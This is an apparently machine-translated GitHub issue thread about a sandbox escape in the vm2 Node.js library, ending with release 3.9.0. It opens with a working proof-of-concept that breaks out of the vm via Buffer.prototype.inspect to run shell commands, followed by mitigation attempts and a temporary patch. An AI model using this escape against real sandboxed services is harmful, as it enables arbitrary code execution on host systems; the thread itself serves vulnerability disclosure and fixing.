Le code suivant peut être utilisé pour échapper à la vm, et par exemple exécuter la commande dans le shell.
Cela a déjà été signalé dans # 187 ici , cela fonctionne toujours sur le nœud 13.6.0 et vm2 v3.8.4
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
@patriksimek Ce problème est résolu dans master, mais le correctif est venu avec https://github.com/patriksimek/vm2/pull/242 qui est postérieur à la version 3.8.4. Donc, mpn n'a pas ce correctif.
Cela reste ouvert jusqu'à la sortie de la v3.8.5.
Avons-nous un ETA?
@ jan-osch Puisque @patriksimek semble assez inactif, je ne sais pas.
@XmiliaH merci pour votre réponse et toutes vos contributions!
Pensez-vous qu'une telle solution de contournement avec patchs de singe empêchera l'évasion jusqu'à ce que nous ayons une version mise à jour publiée?
const vm = new NodeVM({
console: 'off',
sandbox: {
console: consoleInterface,
setTimeout,
print,
// TODO remove once vm2 fixed the breakout issue
// Reference: https://github.com/patriksimek/vm2/issues/268
Buffer: {
...Buffer,
prototype: new Proxy(Buffer.prototype, {
get(object, property) {
if (property === 'inspect') {
return () => {
console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
consoleInterface.error('Nice try! This breakout attempt will be reported');
};
}
return object[property];
},
}),
},
},
require: { // here define modules that can be required
builtin: [
// some list
],
external: [
//...
],
},
});
return vm.run(code, SCRIPT_PATH);
@ jan-osch Ce n'est pas une bonne âme:
1) Il oublie la clé [Symbol.for ("nodejs.util.inspect.custom")].
2) Il permet d'écrire sur le prototype du tampon hôte.
3) Le problème est que console.log déclenchera également ce problème et votre solution ne fait rien contre cela.
Malheureusement, il n’existe pas de solution simple.
Voici un correctif de piratage temporaire mal testé:
function hacky_fix(vm) {
const internal = vm._internal;
const old = internal.Decontextify.object;
const handler = {__proto__: null};
internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
const value = old(object, traps, deepTraps, flags, mock);
const better = new Proxy(value, handler);
internal.Decontextify.proxies.set(object, better);
internal.Contextify.proxies.set(better, object);
return better;
};
}
Il corrige les fonctions internes, donc utilisez-le avec précaution.
Merci @XmiliaH! Connaissez-vous un projet avec une suite de tests pour de tels cas d'évasion? Je voudrais ajouter quelques tests de cassure à mon CI en tant que système d'alerte précoce
Nous avons quelques tests dans test / vm.js. Recherchez simplement l'attaque et vous trouverez les cas.
un rappel amical @patriksimek serait génial si vous pouviez publier une nouvelle version.
@mxschmitt Vient de sortir sous la version 3.9.0. Je suis désolé pour le retard.
Commentaire le plus utile
@mxschmitt Vient de sortir sous la version 3.9.0. Je suis désolé pour le retard.